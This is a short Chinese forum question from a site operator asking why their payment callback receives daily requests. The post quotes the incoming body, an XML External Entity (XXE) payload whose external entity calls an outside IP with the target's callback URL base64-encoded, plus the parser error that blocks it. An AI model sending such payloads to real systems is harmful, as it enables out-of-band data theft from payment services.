收藏
回答

为什么每天都会来访问支付回调?

<?xml VERSION="1.0" encoding="utf-8"?>

<!DOCTYPE root [

http://101.91.62.170:4837/wx_xxe_dbc_os_2019080703_113?aHR0

cDovL3d3dy5zaGFuaGVrZWppLmNuL3VzZXIvcGF5L3BheUJ5V2VpWGluLmRv">]>

<foo><VALUE>&xxe;</VALUE></foo>

上面是每次访问携带内容,然后回调报错

将 "http://apache.org/xml/features/disallow-doctype-decl" 设置为“true”时, 不允许使用 DOCTYPE


回答关注问题邀请回答
收藏

1 个回答

登录 后发表内容